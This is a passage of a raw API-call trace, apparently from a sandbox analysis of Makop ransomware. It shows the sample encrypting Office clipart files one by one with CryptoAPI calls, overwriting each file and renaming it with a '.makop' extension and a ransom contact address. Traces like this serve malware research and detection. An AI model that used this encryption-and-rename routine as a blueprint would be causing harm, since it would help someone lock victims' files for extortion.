pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.138] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.138] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1126, lpOverlapped=0x0) returned 1 [0106.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130, dwBufLen=0x1130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1130) returned 1 [0106.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1130, lpOverlapped=0x0) returned 1 [0106.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.141] SetEndOfFile (hFile=0xf0) returned 1 [0106.148] GetProcessHeap () returned 0x48a0000 [0106.148] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.148] GetProcessHeap () returned 0x48a0000 [0106.148] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.148] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.150] CloseHandle (hObject=0xf0) returned 1 [0106.150] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0106.150] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0106.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.151] GetProcessHeap () returned 0x48a0000 [0106.151] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.151] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0106.264] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.265] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.265] GetProcessHeap () returned 0x48a0000 [0106.265] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.265] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.265] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.323] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.323] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.325] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf7e, lpOverlapped=0x0) returned 1 [0106.325] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80) returned 1 [0106.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf80, lpOverlapped=0x0) returned 1 [0106.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.326] SetEndOfFile (hFile=0xf0) returned 1 [0106.333] GetProcessHeap () returned 0x48a0000 [0106.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.333] GetProcessHeap () returned 0x48a0000 [0106.333] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.333] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.335] CloseHandle (hObject=0xf0) returned 1 [0106.336] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0106.336] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0106.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.336] GetProcessHeap () returned 0x48a0000 [0106.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.337] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0106.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.422] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.423] GetProcessHeap () returned 0x48a0000 [0106.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.423] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.423] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.423] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.423] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.423] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.424] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.424] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.424] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.424] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd32, lpOverlapped=0x0) returned 1 [0106.424] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd40, dwBufLen=0xd40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd40) returned 1 [0106.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd40, lpOverlapped=0x0) returned 1 [0106.425] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.425] SetEndOfFile (hFile=0xf0) returned 1 [0106.432] GetProcessHeap () returned 0x48a0000 [0106.432] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.433] GetProcessHeap () returned 0x48a0000 [0106.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.433] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.435] CloseHandle (hObject=0xf0) returned 1 [0106.574] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0106.583] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0106.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.583] GetProcessHeap () returned 0x48a0000 [0106.584] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.584] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.584] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.584] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.584] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.584] GetProcessHeap () returned 0x48a0000 [0106.584] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.584] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.584] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.584] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.589] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.589] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.589] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.589] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.590] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.590] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.590] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc30, lpOverlapped=0x0) returned 1 [0106.590] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc30, dwBufLen=0xc30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc30) returned 1 [0106.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.591] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc30, lpOverlapped=0x0) returned 1 [0106.591] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.591] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.591] SetEndOfFile (hFile=0xf0) returned 1 [0106.598] GetProcessHeap () returned 0x48a0000 [0106.598] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.598] GetProcessHeap () returned 0x48a0000 [0106.598] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.598] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.600] CloseHandle (hObject=0xf0) returned 1 [0106.600] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0106.600] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0106.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.602] GetProcessHeap () returned 0x48a0000 [0106.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.603] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.603] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0106.608] CryptImportKey (in: hProv=0x48bcc28, 